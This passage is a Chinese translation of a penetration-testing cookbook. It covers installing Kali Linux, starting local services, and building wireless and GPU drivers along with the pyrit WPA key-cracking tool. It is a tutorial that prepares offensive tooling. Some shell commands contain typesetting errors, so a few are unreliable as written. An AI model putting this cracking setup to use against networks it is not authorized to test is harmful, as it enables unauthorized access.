├── .gitignore ├── README.md ├── SUMMARY.md ├── ch1.md ├── ch2.md ├── ch3.md ├── ch4.md ├── ch5.md ├── ch6.md ├── ch7.md ├── ch8.md ├── ch9.md ├── cover.jpg ├── img ├── .gitignore ├── 1-1-1.jpg ├── 1-1-10.jpg ├── 1-1-11.jpg ├── 1-1-12.jpg ├── 1-1-13.jpg ├── 1-1-14.jpg ├── 1-1-15.jpg ├── 1-1-16.jpg ├── 1-1-2.jpg ├── 1-1-3.jpg ├── 1-1-4.jpg ├── 1-1-5.jpg ├── 1-1-6.jpg ├── 1-1-7.jpg ├── 1-1-8.jpg ├── 1-1-9.jpg ├── 1-2-1.jpg ├── 1-2-2.jpg ├── 1-2-3.jpg ├── 1-2-4.jpg ├── 1-3-1.jpg ├── 1-3-2.jpg ├── 1-3-3.jpg ├── 1-3-4.jpg ├── 1-3-5.jpg ├── 1-3-6.jpg ├── 1-3-7.jpg ├── 1-3-8.jpg ├── 1-4-1.jpg ├── 1-7-1.jpg ├── 1-7-2.jpg ├── 2-1-1.jpg ├── 2-1-2.jpg ├── 2-2-1.jpg ├── 2-3-1.jpg ├── 2-3-2.jpg ├── 2-4-1.jpg ├── 2-6-1.jpg ├── 2-6-2.jpg ├── 2-7-1.jpg ├── 2-7-2.jpg ├── 2-7-3.jpg ├── 2-7-4.jpg ├── 3-1-1.jpg ├── 3-1-10.jpg ├── 3-1-11.jpg ├── 3-1-12.jpg ├── 3-1-2.jpg ├── 3-1-3.jpg ├── 3-1-4.jpg ├── 3-1-5.jpg ├── 3-1-6.jpg ├── 3-1-7.jpg ├── 3-1-8.jpg ├── 3-1-9.jpg ├── 3-2-1.jpg ├── 3-2-2.jpg ├── 3-2-3.jpg ├── 3-3-1.jpg ├── 3-4-1.jpg ├── 3-4-2.jpg ├── 3-4-3.jpg ├── 3-4-4.jpg ├── 3-4-5.jpg ├── 3-4-6.jpg ├── 4-1-1.jpg ├── 4-2-1.jpg ├── 4-2-2.jpg ├── 4-3-1.jpg ├── 4-4-1.jpg ├── 4-4-2.jpg ├── 4-4-3.jpg ├── 4-4-4.jpg ├── 4-5-1.jpg ├── 4-7-1.jpg ├── 4-7-2.jpg ├── 4-7-3.jpg ├── 4-7-4.jpg ├── 4-7-5.jpg ├── 4-7-6.jpg ├── 4-7-7.jpg ├── 4-7-8.jpg ├── 4-7-9.jpg ├── 4-8-1.jpg ├── 4-8-2.jpg ├── 4-8-3.jpg ├── 4-8-4.jpg ├── 4-8-5.jpg ├── 4-8-6.jpg ├── 4-8-7.jpg ├── 5-1-1.jpg ├── 5-1-2.jpg ├── 5-1-3.jpg ├── 5-10-1.jpg ├── 5-10-2.jpg ├── 5-10-3.jpg ├── 5-10-4.jpg ├── 5-10-5.jpg ├── 5-10-6.jpg ├── 5-2-1.jpg ├── 5-2-2.jpg ├── 5-2-3.jpg ├── 5-3-1.jpg ├── 5-3-2.jpg ├── 5-3-3.jpg ├── 5-3-4.jpg ├── 5-4-1.jpg ├── 5-4-2.jpg ├── 5-4-3.jpg ├── 5-5-1.jpg ├── 5-5-2.jpg ├── 5-5-3.jpg ├── 5-6-1.jpg ├── 5-6-2.jpg ├── 5-6-3.jpg ├── 5-6-4.jpg ├── 5-6-5.jpg ├── 5-6-6.jpg ├── 5-7-1.jpg ├── 5-7-2.jpg ├── 5-7-3.jpg ├── 5-7-4.jpg ├── 5-7-5.jpg ├── 5-7-6.jpg ├── 5-7-7.jpg ├── 5-7-8.jpg ├── 5-7-9.jpg ├── 5-8-1.jpg ├── 5-8-2.jpg ├── 5-8-3.jpg ├── 5-8-4.jpg ├── 5-8-5.jpg ├── 5-8-6.jpg ├── 5-9-1.jpg ├── 5-9-2.jpg ├── 5-9-3.jpg ├── 5-9-4.jpg ├── 5-9-5.jpg ├── 6-1-1.jpg ├── 6-1-2.jpg ├── 6-1-3.jpg ├── 6-1-4.jpg ├── 6-1-5.jpg ├── 6-1-6.jpg ├── 6-1-7.jpg ├── 6-10-1.jpg ├── 6-2-1.jpg ├── 6-2-2.jpg ├── 6-2-3.jpg ├── 6-2-4.jpg ├── 6-3-1.jpg ├── 6-3-2.jpg ├── 6-3-3.jpg ├── 6-4-1.jpg ├── 6-4-2.jpg ├── 6-4-3.jpg ├── 6-4-4.jpg ├── 6-4-5.jpg ├── 6-6-1.jpg ├── 6-6-2.jpg ├── 6-6-3.jpg ├── 6-6-4.jpg ├── 6-7-1.jpg ├── 6-7-2.jpg ├── 6-8-1.jpg ├── 6-9-1.jpg ├── 6-9-2.jpg ├── 6-9-3.jpg ├── 7-1-1.jpg ├── 7-1-2.jpg ├── 7-1-3.jpg ├── 7-2-1.jpg ├── 7-3-1.jpg ├── 7-3-2.jpg ├── 7-3-3.jpg ├── 7-3-4.jpg ├── 7-3-5.jpg ├── 7-3-6.jpg ├── 7-3-7.jpg ├── 7-4-1.jpg ├── 7-4-2.jpg ├── 7-5-1.jpg ├── 7-5-2.jpg ├── 7-6-1.jpg ├── 7-6-2.jpg ├── 7-7-1.jpg ├── 7-7-10.jpg ├── 7-7-11.jpg ├── 7-7-12.jpg ├── 7-7-2.jpg ├── 7-7-3.jpg ├── 7-7-4.jpg ├── 7-7-5.jpg ├── 7-7-6.jpg ├── 7-7-7.jpg ├── 7-7-8.jpg ├── 7-7-9.jpg ├── 8-1-1.jpg ├── 8-1-2.jpg ├── 8-1-3.jpg ├── 8-1-4.jpg ├── 8-1-5.jpg ├── 8-2-1.jpg ├── 8-2-2.jpg ├── 8-2-3.jpg ├── 8-2-4.jpg ├── 8-2-5.jpg ├── 8-3-1.jpg ├── 8-3-2.jpg ├── 8-4-1.jpg ├── 8-4-10.jpg ├── 8-4-11.jpg ├── 8-4-12.jpg ├── 8-4-13.jpg ├── 8-4-14.jpg ├── 8-4-15.jpg ├── 8-4-16.jpg ├── 8-4-2.jpg ├── 8-4-3.jpg ├── 8-4-4.jpg ├── 8-4-5.jpg ├── 8-4-6.jpg ├── 8-4-7.jpg ├── 8-4-8.jpg ├── 8-4-9.jpg ├── 8-6-1.jpg ├── 8-6-2.jpg ├── 8-7-1.jpg ├── 8-7-2.jpg ├── 8-8-1.jpg ├── 8-9-1.jpg ├── 9-1-1.jpg ├── 9-2-1.jpg ├── 9-3-1.jpg ├── 9-3-2.jpg ├── 9-4-1.jpg ├── 9-4-2.jpg ├── 9-4-3.jpg ├── 9-4-4.jpg ├── 9-7-1.jpg ├── 9-7-10.jpg ├── 9-7-11.jpg ├── 9-7-12.jpg ├── 9-7-2.jpg ├── 9-7-3.jpg ├── 9-7-4.jpg ├── 9-7-5.jpg ├── 9-7-6.jpg ├── 9-7-7.jpg ├── 9-7-8.jpg ├── 9-7-9.jpg └── qr_alipay.png └── styles └── ebook.css /.gitignore: -------------------------------------------------------------------------------- 1 | _book 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Kali Linux 秘籍 中文版 2 | 3 | 原书:[Kali Linux Cookbook](https://www.packtpub.com/networking-and-servers/kali-linux-cookbook) 4 | 5 | 译者:[飞龙](https://github.com/wizardforcel) 6 | 7 | + [在线阅读](https://www.gitbook.com/book/wizardforcel/kali-linux-cookbook/details) 8 | + [PDF格式](https://www.gitbook.com/download/pdf/book/wizardforcel/kali-linux-cookbook) 9 | + [EPUB格式](https://www.gitbook.com/download/epub/book/wizardforcel/kali-linux-cookbook) 10 | + [MOBI格式](https://www.gitbook.com/download/mobi/book/wizardforcel/kali-linux-cookbook) 11 | + [Github](https://github.com/wizardforcel/kali-linux-cookbook-zh) 12 | + [Git@OSC](http://git.oschina.net/wizardforcel/kali-linux-cookbook-zh) 13 | 14 | ## 赞助我 15 | 16 | ![](img/qr_alipay.png) 17 | 18 | ## 协议 19 | 20 | [CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 21 | -------------------------------------------------------------------------------- /SUMMARY.md: -------------------------------------------------------------------------------- 1 | + [Kali Linux 秘籍 中文版](README.md) 2 | + [第一章 安装和启动Kali](ch1.md) 3 | + [第二章 定制 Kali Linux](ch2.md) 4 | + [第三章 高级测试环境](ch3.md) 5 | + [第四章 信息收集](ch4.md) 6 | + [第五章 漏洞评估](ch5.md) 7 | + [第六章 漏洞利用](ch6.md) 8 | + [第七章 权限提升](ch7.md) 9 | + [第八章 密码攻击](ch8.md) 10 | + [第九章 无线攻击](ch9.md) -------------------------------------------------------------------------------- /ch1.md: -------------------------------------------------------------------------------- 1 | # 第一章 安装和启动Kali 2 | 3 | > 作者:Willie L. Pritchett, David De Smet 4 | 5 | > 译者:[飞龙](https://github.com/) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | ## 简介 10 | 11 | Kali Linux,简称Kali,是用于安全攻击的最新Linux发行版。它是BackTrack Linux的后继者。不像多数Linux发行版那样,Kali Linux用于渗透测试。渗透测试是一种通过模拟攻击评估计算机系统或网络安全性的方法。在整本书中,我们将会探索一些Kali Linux所提供的工具。 12 | 13 | 这一章涉及到Kali Linux在不同场景下的的安装和启动,从插入Kali Linux DVD到配置网络。 14 | 15 | 对于本书中所有秘籍,我们都要使用以64位GNOME作为窗口管理器(WM)和架构的Kali Linux([http://www.Kali.org/downloads/](http://www.Kali.org/downloads/))。然而,使用KDE作为WM的用法并不在这本书里涉及,你应该能够遵循这些秘籍,并没有多少问题。 16 | 17 | ## 1.1 安装到硬盘 18 | 19 | 硬盘的安装是最基本的操作之一。这个任务需要我们不带DVD运行Kali来完成。 20 | 21 | > 执行这个秘籍中的步骤会抹掉你的硬盘,并把Kali标记为你电脑上的主操作系统。 22 | 23 | ### 准备 24 | 25 | 在解释整个过程之前,需要满足以下要求: 26 | 27 | + 为KaliLinux的安装准备最小8GB的空闲磁盘空间(然而我们推荐至少25GB来存放这本书中额外的程序和生成的词汇表)。 28 | + 最小512MB的内存。 29 | + 在[KaliLinux的下载页面](http://www.kali.org/downloads/)下载Kali Linux。 30 | 31 | 让我们开始安装吧。 32 | 33 | ### 操作步骤 34 | 35 | 1. 在光驱中插入Kali Linux Live DVD来开始。你会看到它的启动菜单。选择`Graphical install`(图形化安装)。 36 | 37 | ![](img/1-1-1.jpg) 38 | 39 | 2. 选择语言。这里我们选择`English`(英语)。 40 | 41 | ![](img/1-1-2.jpg) 42 | 43 | 3. 选择你的位置。这里我们选择`United States`(美国)。 44 | 45 | ![](img/1-1-3.jpg) 46 | 47 | 4. 选择你的键盘配置。这里我们选择`American English`(美国英语)。 48 | 49 | ![](img/1-1-4.jpg) 50 | 51 | 5. 下面要完成网络服务配置。输入主机名称,这里我们输入`Kali`。 52 | 53 | ![](img/1-1-5.jpg) 54 | 55 | 6. 下面,我们需要输入域名。这里我们输入`kali.secureworks. com`。 56 | 57 | ![](img/1-1-6.jpg) 58 | 59 | 7. 现在你会看到输入root密码的地方,需要输入两次。 60 | 61 | ![](img/1-1-7.jpg) 62 | 63 | 8. 选择你的时区,这里我们选择`Eastern`(东方)。 64 | 65 | ![](img/1-1-8.jpg) 66 | 67 | 9. 我们现在可以选择磁盘分区方式。你会看到四个选项。选择`Guided - use entire disk`,这会便于你分区。 68 | 69 | ![](img/1-1-9.jpg) 70 | 71 | 0. 在这一步,你需要知道你的磁盘会被抹掉,点击`Continue`(继续)。 72 | 73 | ![](img/1-1-10.jpg) 74 | 75 | 1. 下面,你有机会选择三个分区方式之一:所有文件放在一个分区、分离`/home`、以及分离`/home/user/var`和`/tmp`。考虑到Kali用于渗透测试,分区不需要也不必要(即使这对于你的桌面主操作系统是个好主意)。这里我们选择` All files in one partition`(所有文件放在一个分区)并点击`Continue`(继续)。 76 | 77 | ![](img/1-1-11.jpg) 78 | 79 | 2. 一旦你看到了一个界面,让你知道将要对你磁盘执行的改动,选择`Yes`之后点击`Continue`(继续)。要注意这是撤销抹掉你磁盘所有数据的最后机会。 80 | 81 | ![](img/1-1-12.jpg) 82 | 83 | 3. 下面,你会被询问是否希望链接到网络镜像。网络镜像允许你接收到Kali的更新。这里我们选择`Yes`之后点击`Continue`(继续)。 84 | 85 | ![](img/1-1-13.jpg) 86 | 87 | 4. 你可以通过点击`Continue`(继续)跳过HTTP代理界面。 88 | 89 | ![](img/1-1-14.jpg) 90 | 91 | 5. 最后,你会被询问来安装GRUB启动器到主引导记录(MBR)中。选择`Yes`之后点击`Continue`(继续)。 92 | 93 | ![](img/1-1-15.jpg) 94 | 95 | 6. 祝贺你现在完成了Kali Linux的安装!点击`Continue`,系统会重启并展示登录界面。 96 | 97 | ![](img/1-1-16.jpg) 98 | 99 | ## 1.2 安装到U盘或持久存储器中 100 | 101 | Kali Linux U盘能够持久化储存系统设置,以及在U盘中永久升级和安装新的软件包,并让我们将个人定制的Kali Linux随时带在身上。 102 | 103 | 多亏了Win32 Disk Imager,我们可以为大多数Linux发行版创建可启动的U盘,包括持久化存储的Kali Linux。 104 | 105 | ### 准备 106 | 107 | 需要下列工具和准备工作以继续: 108 | 109 | + FAT32格式的U盘,最小8GB。 110 | + Kali Linux ISO镜像。 111 | + [Win32 Disk Imager](http://sourceforge.net/projects/win32diskimager/)。 112 | + 你可以从[这里](http://www.kali.org/downloads/)下载Kali。 113 | 114 | ### 操作步骤 115 | 116 | 让我们开始讲Kali Linux安装到U盘: 117 | 118 | 1. 插入格式化且可写入的U盘: 119 | 120 | ![](img/1-2-1.jpg) 121 | 122 | 2. 启动 Win32 Disk Imager。 123 | 124 | 3. 点击目录图表,选择Kali Linux DVD ISO镜像的位置: 125 | 126 | ![](img/1-2-2.jpg) 127 | 128 | 4. 确保`Space used to preserve files across reboots`(用于在启动中保存文件的空间)设置为4096。 129 | 130 | ![](img/1-2-3.jpg) 131 | 132 | 5. 选择我们的U盘,并点击OK按钮来开始创建可启动的U盘: 133 | 134 | 135 | 6. 当它解压并复制DVD的文件到U盘,以及安装bootloader时,这个过程会花一些时间来完成。 136 | 137 | 7. 安装完成之后,我们就可以重启电脑,从新创建的Kali Linux U盘以持久存储器来启动了。 138 | 139 | ![](img/1-2-4.jpg) 140 | 141 | ## 1.3 在 VirtualBox 中安装 142 | 143 | 这个秘籍会引导你使用知名的开源虚拟机软件VirtualBox,将Kali Linux安装在一个完全分离的访客操作系统中,它在你的宿主操作系统中。 144 | 145 | ### 准备 146 | 147 | 需要满足下列要求: 148 | 149 | + [VirtualBox](https://www.virtualbox.org/wiki/Downloads) 的最新版本(本书编写时为4.2.16)。 150 | + Kali Linux ISO 镜像的副本。你可以在[这里](http://www. Kali.org/downloads/)下载。 151 | 152 | ### 操作步骤 153 | 154 | 让我们在VirtualBox中安装Kali Linux: 155 | 156 | 1. 运行VirtualBox,点击`New`(新建)来启动虚拟机向导: 157 | 158 | ![](img/1-3-1.jpg) 159 | 160 | 2. 点击`Next`(下一步)按钮,键入虚拟机的名称,并选择OS类型和版本。这里我们选择Linux类型和Ubuntu(64位)作为版本。点击`Next`按钮来继续: 161 | 162 | ![](img/1-3-2.jpg) 163 | 164 | 3. 选择分配给虚拟机的基本内存(RAM)的总数。我们打算使用默认值,点击`Next`。 165 | 166 | 4. 为新的虚拟机创建新的虚拟硬盘,点击`Next`按钮。 167 | 168 | ![](img/1-3-3.jpg) 169 | 170 | 5. 一个新的向导窗口将会打开,保留默认的VDI文件类型,因为我们并不需要使用其它的虚拟机软件。 171 | 172 | 6. 我们会保留默认选项作为虚拟机磁盘存储的详情。点击`Next`来继续: 173 | 174 | 7. 设置虚拟机磁盘文件类型和大小: 175 | 176 | ![](img/1-3-4.jpg) 177 | 178 | 8. 检查设置是否正确,之后点击`Create`(创建)按钮来开始虚拟磁盘文件的创建。 179 | 180 | 9. 我们将会返回前面的向导,带有虚拟机参数的概览。点击`Create`以结束: 181 | 182 | ![](img/1-3-5.jpg) 183 | 184 | 0. 新的虚拟机创建之后,我们将要安装Kali Linux。 185 | 186 | 1. 在VirtualBox的主窗口,高亮Kali Linux,之后点击`Settings`(设置)按钮: 187 | 188 | ![](img/1-3-6.jpg) 189 | 190 | 2. 现在基本的安装步骤就完成了,我们需要让你将下载的ISO文件用于虚拟光盘。这会为你节省烧录物理DVD的时间来完成这个安装。在`Settings`界面中,点击`Storage`(存储器)菜单选项: 191 | 192 | ![](img/1-3-7.jpg) 193 | 194 | 3. 下一步,在`Storage Tree`(存储器树形图)下面,高亮`Empty`(空)磁盘图标,它在`IDE Controller`(IDE控制器)的下面。这户选择我们的虚拟CD/DVD ROM驱动器。在屏幕的最右边,在 195 | `Attributes`底下,点击光盘图表。在上面弹出的菜单上选择你的`Choose a virtual CD/DVD disc file...`(Kali Linux ISO CD/DVD光盘文件)选项,并找到你的ISO。一旦你完成了这些步骤,点击OK按钮。 196 | 197 | ![](img/1-3-8.jpg) 198 | 199 | 4. 点击Start(开始)按钮,之后点击里面的新窗口来进行安装。安装步骤在1.1节中已经包括了。 200 | 201 | > 安装VirtualBox 扩展包也允许我们通过添加USB2.0(EHCI)、VirtualBox RDP和 Intel PXE boot ROM的支持,来扩展虚拟机的功能。 202 | 203 | ## 1.4 安装 VMware Tools 204 | 205 | 这个秘籍中,我们会展示如何使用 VMware Tools将Kali Linux安装在虚拟机中。 206 | 207 | ### 准备 208 | 209 | 需要满足下列要求: 210 | 211 | + 已经安装好的Kali Linux VMware 虚拟机。 212 | + 网络连接。 213 | 214 | ### 操作步骤 215 | 216 | 让我们开始将Kali Linux 安装到 VMware上: 217 | 218 | 1. 打开你的虚拟机的访客操作系统并连接到互联网,之后打开`Terminal`(终端)窗口,并键入下列命令来准备核心资源: 219 | 220 | ``` 221 | prepare-kernel-sources 222 | ``` 223 | 224 | > 这些命令假设你使用Linux或者Mac OS。你不需要在Windows下执行它们。 225 | 226 | 2. 在VMware Workstaion的菜单栏上,访问`VM | Install VMware Tools…`: 227 | 228 | ![](img/1-4-1.jpg) 229 | 230 | 3. 将VMware Tools安装工具复制到临时目录下,之后将当前位置改为目标目录: 231 | 232 | ``` 233 | cp /media/VMware\ Tools/VMwareTools-8.8.2-590212.tar.gz /tmp/; cd /tmp 234 | ``` 235 | 236 | > 根据你的VMware Tools来替换文件名:`VMwareTools--.tar.gz`。 237 | 238 | 4. 使用以下命令解压并安装: 239 | 240 | ``` 241 | tar zxpf VMwareTools-8.8.2-590212.tar.gz 242 | ``` 243 | 244 | 5. 进入VMware Tools的目录中,之后运行安装工具: 245 | 246 | ``` 247 | cd vmware-tools-distrib/ 248 | ./vmware-install.pl 249 | ``` 250 | 251 | 6. 按下回车键来接受每个配置询问的默认值;`vmware-config-tools.pl`脚本同上。 252 | 253 | 7. 最后重启系统,工作就完成了。 254 | 255 | ### 工作原理 256 | 257 | 在第一步中,我们准备好了核心资源。之后,我们向访客操作系统插入了虚拟的 VMware Tools CD 。接着,我们创建了挂载点,并挂载虚拟CD。我们在临时目录中复制并解压了安装工具。最后我们保留默认配置来运行安装工具。 258 | 259 | ## 1.5 修复启动画面 260 | 261 | 我们首次启动新安装的Kali Linux系统时,会注意到启动画面消失了。为了手动修复它,我们需要解压`Initrd`,修改它,之后将它再次压缩。幸运的是,有一个由 Mati Aharoni(也称为“muts”,Kali Linux的创造者)编写的自动化bash脚本使这件事变得容易。 262 | 263 | ### 操作步骤 264 | 265 | 键入下列命令并且按下回车键来修复消失的启动画面: 266 | 267 | ``` 268 | fix-splash 269 | ``` 270 | 271 | ## 1.6 启动网络服务 272 | 273 | Kali Linux 自带了多种网络服务,它们在多种情况下可能很实用,并且默认是禁用的。这个秘籍中,我们会涉及到通过多种方法设置和启动每个服务的步骤。 274 | 275 | ### 准备 276 | 277 | 需要满足下列要求以继续: 278 | 279 | + 带有有效IP地址的网络连接。 280 | 281 | ### 操作步骤 282 | 283 | 让我们开始启动默认服务: 284 | 285 | 1. 启动Apache服务器: 286 | 287 | ``` 288 | service apache2 start 289 | ``` 290 | 291 | 我们可以通过浏览本地地址来验证服务器是否打开。 292 | 293 | 2. 为了启动SSH服务,首次需要生成SSH密钥: 294 | 295 | ``` 296 | sshd-generate 297 | ``` 298 | 299 | 3. 启动SSH服务器: 300 | 301 | ``` 302 | service ssh start 303 | ``` 304 | 305 | 4. 使用`netstat`命令来验证服务器是否开启并正在监听: 306 | 307 | ``` 308 | netstat -tpan | grep 22 309 | ``` 310 | 311 | 5. 启动FTP服务器: 312 | 313 | ``` 314 | service pure-ftpd start 315 | ``` 316 | 317 | 6. 使用下列命令来验证FTP服务器: 318 | 319 | ``` 320 | netstat -ant | grep 21 321 | ``` 322 | 323 | > 你也可以使用` ps-ef | grep 21 `命令。 324 | 325 | 7. 使用下列命令来停止服务: 326 | 327 | ``` 328 | service stop 329 | ``` 330 | 331 | 其中``代表我们希望停止的网络服务,例如: 332 | 333 | ``` 334 | service apache2 stop 335 | ``` 336 | 337 | 8. 使用下列命令来在开机时启用服务: 338 | 339 | ``` 340 | update-rc.d –f defaults 341 | ``` 342 | 343 | 其中``代表打算启动的网络服务,例如: 344 | 345 | ``` 346 | update-rc.d –f ssh defaults 347 | ``` 348 | 349 | > 你也可以在Kali Linux中通过`Services`(服务)菜单来完成它。从`Start`(开始)菜单开始,访问`Kali Linux | Services`。 350 | 351 | ## 1.7 设置无线网络 352 | 353 | 最后,我们来到了这一章的最后一个秘籍。这个秘籍中,我们会了解在安全状态下的无线网络连接步骤,通过Wicd Network Manager和提供加密的细节。无线网络的设置允许我们以无线方式使用Kali Linux。在真实的、合乎道德的渗透测试中,我们可以不依赖于网线而自由地使用所有常规桌面。 354 | 355 | ### 操作步骤 356 | 357 | 让我们开始设置无线网络: 358 | 359 | 1. 从桌面启动网络管理器,通过点击`Applications`(应用)菜单并且访问`Internet | Wicd Network Manager`,或者在终端窗口中键入下列命令: 360 | 361 | ``` 362 | wicd-gtk --no-tray 363 | ``` 364 | 365 | 2. Wicd Network Manager会打开,并带有可用网络的列表: 366 | 367 | ![](img/1-7-1.jpg) 368 | 369 | 3. 点击`Properties`(属性)按钮来设定网络细节。完成之后点击OK。 370 | 371 | ![](img/1-7-2.jpg) 372 | 373 | 4. 最后,点击`Connect`(连接)按钮,就完成了。 374 | 375 | ### 工作原理 376 | 377 | 这个秘籍中,我们总结了无线网络的设置方式。这个秘籍以启动网络管理器,和连接到我们的路由器作为开始。 378 | -------------------------------------------------------------------------------- /ch2.md: -------------------------------------------------------------------------------- 1 | # 第二章 定制 Kali Linux 2 | 3 | > 作者:Willie L. Pritchett, David De Smet 4 | 5 | > 译者:[飞龙](https://github.com/) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | 这一章会向你介绍Kali的定制,便于你更好地利用它。我们会涉及到ATI和英伟达GPU技术的安装和配置,以及后面章节所需的额外工具。基于ATI和英伟达GPU的显卡允许我们使用它们的图像处理单元(GPU)来执行与CPU截然不同的操作。我们会以ProxyChains的安装和数字信息的加密来结束这一章。 10 | 11 | ## 2.1 准备内核头文件 12 | 13 | 有时我们需要使用所需的内核头文件来编译代码。内核头文件是Linux内核的源文件。这个秘籍中,我们会解释准备内核头文件所需的步骤,便于以后使用。 14 | 15 | ### 准备 16 | 17 | 完成这个秘籍需要网络连接。 18 | 19 | ### 操作步骤 20 | 21 | 让我们开始准备内核头文件: 22 | 23 | 1. 我们首先通过执行下列命令升级发行版作为开始: 24 | 25 | ``` 26 | apt-get update 27 | ``` 28 | 29 | ![](img/2-1-1.jpg) 30 | 31 | 2. 下面,我们需要再次使用`apt-get`来准备内核头文件,执行下列命令: 32 | 33 | ``` 34 | apt-get install linux-headers - `uname –r` 35 | ``` 36 | 37 | ![](img/2-1-2.jpg) 38 | 39 | 3. 复制下列目录以及其中的全部内容: 40 | 41 | ``` 42 | cd /usr/src/linux 43 | cp -rf include/generated/* include/linux/ 44 | ``` 45 | 46 | 4. 我们现在已准备好编译需要内核头文件的代码。 47 | 48 | ## 2.2 安装 Broadcom 驱动 49 | 50 | 在这个秘籍中,我们将要安装 Broadcom 官方的Linux混合无线驱动。 使用Broadcom 无线USB适配器可以让我们在Kali上连接我们的无线USB接入点。对于这本书的其余秘籍,我们假设Broadcom 无线驱动已经安装。 51 | 52 | ### 准备 53 | 54 | 完成这个秘籍需要网络连接。 55 | 56 | ### 操作步骤 57 | 58 | 让我们开始安装 Broadcom 驱动: 59 | 60 | 1. 打开终端窗口,从[http://www.broadcom.com/support/802.11/linux_sta.php](http://www.broadcom.com/support/802.11/linux_sta.php)下载合适的Broadcom 驱动: 61 | 62 | ``` 63 | cd /tmp/ 64 | wget http://www.broadcom.com/docs/linux_sta/hybrid-portsrc_ x86_64-v5_100_82_112.tar.gz 65 | ``` 66 | 67 | ![](img/2-2-1.jpg) 68 | 69 | 2. 使用下列命令解压下载的驱动: 70 | 71 | ``` 72 | mkdir broadcom 73 | tar xvfz hybrid-portsrc_x86_64-v5_100_82_112.tar.gz –C /tmp/ broadcom 74 | ``` 75 | 76 | 3. 修改`wl_cfg80211.c`文件,由于5.100.82.112版本中有个bug,会阻止小于2.6.39内核版本上的编译: 77 | 78 | ``` 79 | vim /tmp/broadcom/src/wl/sys/wl_cfg80211.c 80 | ``` 81 | 82 | 观察代码段的1814行: 83 | 84 | ```c 85 | #if LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 39) 86 | ``` 87 | 88 | 将其改为: 89 | 90 | ```c 91 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 39) 92 | ``` 93 | 94 | 并保存修改。 95 | 96 | 4. 编译代码: 97 | 98 | ``` 99 | make clean 100 | make 101 | make install 102 | ``` 103 | 104 | 5. 更新依赖: 105 | 106 | ``` 107 | depmod -a 108 | ``` 109 | 110 | 6. 通过下列命令找到加载的模块: 111 | 112 | ``` 113 | lsmod | grep b43\|ssb\|bcma 114 | ``` 115 | 116 | 7. 通过执行下列命令移除发现的模块: 117 | 118 | ``` 119 | rmmod b43 120 | ``` 121 | 122 | 其中``应为`b43`、`ssb`或`bcma`。 123 | 124 | 8. 将模块加入黑名单,防止它们在系统启动中加载: 125 | 126 | ``` 127 | echo "blacklist " >> /etc/modprobe.d/blacklist.conf 128 | ``` 129 | 130 | 其中``应为`b43`、`ssb`或`wl`。 131 | 132 | 9. 最后,将新模块添加到Linux内核中,来使它成为启动进程的一部分: 133 | 134 | ``` 135 | modprobe wl 136 | ``` 137 | 138 | ## 2.3 安装和配置ATI显卡驱动 139 | 140 | 这个秘籍中,我们会详细讲解ATI显卡驱动的安装和配置,在此之前需要AMD Accelerated Parallel Processing (APP) SDK、OepnCL和CAL++。我们可以利用 ATI Stream技术的优势来运行计算密集型任务 -- 它们通常运行在CPU上 -- 使它们更快更高效地执行。更多ATI Stream技术相关的详细信息,请访问[www.amd.com/stream]( www.amd.com/stream)。 141 | 142 | ### 准备 143 | 144 | 需要网络连接来完成这个秘籍。同时在开始这个秘籍之前需要准备内核头文件,它在第一节有所涉及。 145 | 146 | ### 操作步骤 147 | 148 | 让我们开始安装和配置ATI驱动: 149 | 150 | 1. 下载系统所需的ATI显示驱动: 151 | 152 | ``` 153 | cd /tmp/ 154 | wget http://www2.ati.com/drivers/linux/amd-driver-installer-121-x86.x86_64.run 155 | ``` 156 | 157 | 我们也可以从下面的网址下载显示驱动:[http://support. amd.com/us/gpudownload/Pages/index.aspx](http://support. amd.com/us/gpudownload/Pages/index.aspx)。 158 | 159 | ![](img/2-3-1.jpg) 160 | 161 | 2. 通过键入下列命令来开始安装: 162 | 163 | ``` 164 | sh amd-driver-installer-12-1-x86.x86_64.run 165 | ``` 166 | 167 | ![](img/2-3-2.jpg) 168 | 169 | 3. 在安装完成之后,重启你的系统来使改变生效,并且避免不稳定。 170 | 171 | 4. 为之后的步骤安装一些依赖: 172 | 173 | ``` 174 | apt-get install libroot-python-dev libboost-python-dev libboost1.40-all-dev cmake 175 | ``` 176 | 177 | 5. 下载并解压 AMD APP SDK,根据你的CPU架构: 178 | 179 | ``` 180 | wget http://developer.amd.com/Downloads/AMD-APP-SDK-v2.6-lnx64.tgz 181 | mkdir AMD-APP-SDK-v2.6-lnx64 182 | tar zxvf AMD-APP-SDK-v2.6-lnx64.tgz –C /tmp/AMD-APP-SDK-v2.6-lnx64 183 | cd AMD-APP-SDK-v2.6-lnx64 184 | ``` 185 | 186 | 6. 通过下列命令安装AMD APP SDK: 187 | 188 | ``` 189 | sh Install-AMD-APP.sh 190 | ``` 191 | 192 | 7. 在`.bashsrc`文件中设置ATI Stream的路径: 193 | 194 | ``` 195 | echo export ATISTREAMSDKROOT=/opt/AMDAPP/ >> ~/.bashrc 196 | source ~/.bashrc 197 | ``` 198 | 199 | 8. 下载并编译`calpp`: 200 | 201 | ``` 202 | cd /tmp/ 203 | svn co https://calpp.svn.sourceforge.net/svnroot/calpp calpp 204 | cd calpp/trunk 205 | cmake . 206 | make 207 | make install 208 | ``` 209 | 210 | 9. 下载并编译`pyrit`: 211 | 212 | ``` 213 | cd /tmp/ 214 | svn co http://pyrit.googlecode.com/svn/trunk/ pyrit_src 215 | cd pyrit_src/pyrit 216 | python setup.py build 217 | python setup.py install 218 | ``` 219 | 220 | 0. 构建并安装OpenCL: 221 | 222 | ``` 223 | cd /tmp/pyrit_src/cpyrit_opencl 224 | python setup.py build 225 | python setup.py install\ 226 | ``` 227 | 228 | 1. 对` cpyrit_calpp `的安装做一些小修改: 229 | 230 | ``` 231 | cd /tmp/pyrit_source/cpyrit_calpp 232 | vi setup.py 233 | ``` 234 | 235 | 找到下面这一行: 236 | 237 | ```py 238 | VERSION = '0.4.0-dev' 239 | ``` 240 | 241 | 把它改成: 242 | 243 | ```py 244 | VERSION = '0.4.1-dev' 245 | ``` 246 | 247 | 之后,找到下面这一行: 248 | 249 | ```py 250 | 